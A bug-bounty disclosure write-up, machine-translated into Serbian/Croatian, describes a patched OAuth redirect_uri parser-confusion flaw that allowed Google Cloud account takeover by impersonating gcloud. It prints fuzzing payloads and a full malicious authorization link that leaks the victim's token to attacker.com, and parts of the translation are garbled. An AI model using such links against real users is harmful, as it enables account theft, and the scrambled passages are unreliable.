TL;DR Ključne reči: dr Ovaj članak prolazi kroz jedinstvenu ranjivost preuzimanja OAuth naloga koju sam nedavno otkrio koja utječe na nekoliko Google usluga. OAuth parametar. ranjivost omogućuje napadačima da pretvaraju legitimne aplikacije kao što je Google Cloud SDK klijent i ispuštaju token pristupa na server koji kontrolira napadač, omogućavajući pristup pozadini na račun žrtve - sa gotovo nultim vidljivošću za žrtvu. redirect_uri Prva četiri odeljka pokrivaju opću pozadinu o OAuth-u, riziku od curenja žetona i zbunjenosti analiziranja URL-a. Ako ste već upoznati s ovim pojmovima, slobodno skočite direktno u Note: Section 5: Google Cloud Account Takeover Case. 1. uvod OAuth 2.0 omogućuje aplikacijama trećih strana da pristupe korisničkim podacima bez obrade lozinki direktno tako što će im autorizacioni server (npr. Google) generisati token koji će aplikacija treće strane koristiti da zatraži korisničke podatke ili izvrši radnje u njihovo ime. Ali ako je parametar nije validiran kirurškom preciznošću, napadači mogu pretvarati pouzdane aplikacije i prevariti korisnike u curenje njihovih tokena pristupa. redirect_uri U ovom članku, proći ću kroz kako mi suptilna greška analize URL-a omogućuje da uradim upravo to - preko više Google usluga - s dubokim uronjenjem u slučaj Google Cloud. Kako OAuth radi Iako je OAuth prilično složen protokol koji zaslužuje niz članaka koje treba u potpunosti shvatiti, evo pojednostavljenog pregleda: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data Da biste vizualizirali stvari, previše pojednostavljeni diagram ispod pokazuje da se prijavim na Medium koristeći moj Google nalog: U mnogim slučajevima, autorizacijski server i server resursa su isti. Note: OAuth Token iscjedak Gledajući na gornji dijagram, najtrikiji deo je korak 5, gde autorizacioni server šalje generisani token natrag u aplikaciju klijenta. znati gde poslati token. redirect_uri Ako ovaj parametar nije pravilno validiran, napadač može pretvarati da je aplikacija klijenta (npr. Medium) i prevariti autorizacijski server da im pošalje korisnikov token pristupa – iako, s korisničke perspektive, sve izgleda legitimno. Tipično je, je validiran u određenoj mjeri – ne možete samo baciti bilo koji slučajni URL na autorizacioni server. Međutim, metode validiranja variraju kroz implementacije ovisno o poslovnim potrebama, a greške u ovom procesu mogu biti iskorišćene. redirect_uri Neki zajednički obrasci: Striktno podudaranje: Točno podudaranje niza sa prethodno registriranim URI-jem. Wildcard ili Path Prefix Matching: Omogućavanje URI kao što su https://example.com/* ili https://*.example.com. Loopback adrese: Uobičajene u desktop aplikacijama, gde lokalni server rješava preusmjeravanje. URL Parsing zbunjenost Prema , standardni URL ima sledeću strukturu: Uslovi korišćenja RFC 3986 scheme://username:password@host:port/path?query#fragment Svaka komponenta igra određenu ulogu: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment upućuje se na kao Oni se odnose na kao Note: host:port authority, username:password userinfo Na prvi pogled, to izgleda jednostavno – ali mogu se pojaviti suptilne razlike u analizi, posebno kada se rješavaju slučajevi s granicama. Programeri mogu pretpostaviti da je URL analiziran na dosljedan, standardizovan način u svim bibliotekama, međutim, opsežna istraživanja o URL analizatorima dokazala su potpuno suprotno od toga. OAuth redirect URI validation SSRF prevention Proxy or CDN routing Ispod je primer kada se jedan URL tretira drugačije kroz tri različita parsera Iako ovaj članak neće duboko uroniti u URL analizu napada zbunjenosti, oni su temeljito istraženi u 2017 Black Hat papiru. Nova era SSRF-a – iskorištavanje URL parsera u trendovnim programskim jezicima Google Cloud nalog preuzimanje slučaj Ako ste ikada koristili Google Cloud ranije, verovatno ste naišli na CLI alat – moćan alat za komandnu liniju koji se koristi za upravljanje Google Cloud resursima. Među ostalim funkcijama, omogućava korisnicima da se autentificiraju koristeći svoje Google naloge kroz protok OAuth koji se temelji na pregledniku. gcloud Evo kako funkcioniše: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud Za ovaj tok za rad, Google pouzdanje određene URL-ove (npr, http://localhost) za native aplikacije, jer su oni smatraju dovoljno sigurne za lokalnu upotrebu i su bele liste interno. A. Identifikacija površine napada Nakon što je vidio a Koristi se kao , moj prvi instinkt je bio da ga zamenim i ovo je ključan korak jer potvrđuje da se URL-ovi zapravo analiziraju i uspoređuju interno, umjesto da imaju neke osnovne provjere kao što su: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False Dakle, ovdje imamo dvije važne stvari koje se odvijaju: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri To znači da imamo dva URL analizatora na mestu, onaj koji koristi Google backend, i analizatora koji koristi naš preglednik (Chrome u mom slučaju), tako da, osim ako su ova dva analizatora identična, bilo kakva nedoslednost između njih može se iskoristiti za curenje OAuth odobrenja na server koji kontrolira napadač. Cilj je sada jasan, moramo napraviti URL koji se analizira drugačije između dva analizatora, na način da varamo Googleov backend analizator da ga analizira kao adresu za povratak, dok Chromeov analizator analizira kao globalnu internet adresu. Činjenica da imamo vrlo ograničeno znanje o Google backend i koju biblioteku koriste interno za analizu URL-ova, znači da smo ostali samo s pristupom crne kutije. B. Fuzzing za pobedu Ono što sam naredio je da napišem Python skript koji će mutirati različite URL-ove primjenom različitih trikova kodiranja, alternativnih notacija i slučajeva granica kako bih vidio koji su prošli Googleovu validaciju backend-a, ali su drugačije tumačeni od strane Chrome-a, skript je koristio nekoliko trikova kao što su: Zaštita podataka: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1] Privatne IP adrese: 10.0.0.5, 192.168.5.3, 127.10.0.1 Različite sheme: file://, ldap://, ftp://, javascript://, data:// CRLF injekcija: %0D%0A Hostname/IP kao korisnička informacija: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com Vrlo duge URL adrese: http://AAAAAA...@127.0.0.1 DNS dodatak: 127.0.0.1.attacker.com Zlonamerne URL adrese: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 Upit/fragment injekcije: Inject extra ? , & ili # prije/nakon @ DNS rebinding (testirano ručno) Nakon što sam neko vrijeme pokrenuo scenarij i, na moje iznenađenje, jedan od generisanih slučajeva ruba uspio je izazvati tačnu razliku koju sam tražio, moja reakcija je bila: Uspešan edge slučaj pronađen je bio: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ koji se može dodatno pojednostaviti na: http://[::1]@[::1]@attacker.com/ Kada pokušate analizirati ovaj URL pomoću Chrome-a, dobijamo sledeći rezultat: Zanimljiv deo o je da je to malformirani URL za početak. karakter je rezerviran za razdvajanje od the Chrome ublažava ovaj krajnji slučaj tako što kodira sve nerezervirane znakove, kao i ranije pojave rezerviranih znakova, i koristi samo najnoviju verziju kao delimitator. Ovo osigurava da bilo koji prije nego što je posljednji URL-kodiran. http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ Nasuprot tome, na osnovu eksperimentalnog testiranja sa varijacijama korisnog opterećenja, čini se da Googleov backend analizator nije pravilno kodirao prethodne pojave rezerviranih znakova i umjesto toga koristio prvu pojavu kao delimiter. nakon podjele na Vjerojatno je parser izvukao i iz fiksnih pozicija, potpuno ignorirajući trailing . @ @ userinfo hostname attacker.com Važno je napomenuti da je ovo ponašanje izazvano isključivo kada se koristi IPv6. ) je radio kao što se očekivalo, naglašavajući da je nedoslednost bila specifična za IPv6 analizu logike. http://127.0.0.1@127.0.0.1@attacker.com C. Postavljanje svega zajedno Sada je naš vektor napada postao jasan, možemo se pretvarati cli alat i prevari korisnika da autentificira misli da se autentificiraju na . gcloud gcloud Napad se odvija ovako: Kreirajte zlonamjeran zahtjev za autorizaciju OAuth-a i pošaljite njegovu vezu (kodni blok ispod) žrtvi Žrtva je predstavljen sa potpuno legitimne OAuth protok autentifikacije za Google Cloud SDK klijent (Slika 9) Žrtva se prijavljuje i pristaje na navedene dozvole (obuhvat) Žrtva se preusmjerava na naš zlonamjerni host, sa njihovim generisanim OAuth grantom Koristimo OAuth grant da izvršimo API pozive na račun žrtve u njihovo ime https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 Ispod je vizualizacija predloženog toka napada S korisničke perspektive, to bi izgledalo kao da se autentificiraju u , čak i za Google autorizacijski server, izgledalo bi kao da korisnik pokušava da se autentifikuje u , tako da efikasno varamo obje strane autentifikacije da misle da je to legitimni proces autentifikacije dok se konačni token pristupa curio u naš zlonamjerni host. gcloud gcloud Izlječeni token pristupa će nam učinkovito omogućiti neograničen pristup preko računa žrtava, što će nam omogućiti da izvršimo čak i vrlo povlaštene radnje. Ono što je ovaj napad učinilo još opasnijim je: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud Kao što je navedeno na početku ovog članka, je samo jedna ranjiva aplikacija, ispod su neke druge aplikacije koje sam pronašao da su ranjive: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) Google je brzo odgovorio, priznao ozbiljnost u roku od 72 sata i dodelio nagradu visoke ozbiljnosti. 6. zaključak Ovo istraživanje naglašava kako suptilna neusklađenost analize URL-a može u potpunosti ugroziti sigurnost čitavog toka autentifikacije koji se ponavlja u različitim aplikacijama i uslugama, čak i kada ga implementira kompanija koja je zrela i sigurnosno svesna kao što je Google. Iako je OAuth zreli i dobro proučavani protokol, njegova sigurnost uvelike ovisi o sitnim detaljima implementacije koji variraju između platformi, biblioteka i okruženja.To je podsjetnik da u sigurnosti, preciznost je bitna: čak i sitne nedosljednosti između komponenti mogu biti dovoljne da prekinu kritične pretpostavke povjerenja. Google je otada ispravio ranjivost nakon odgovornog otkrivanja. Hvala na čitanju!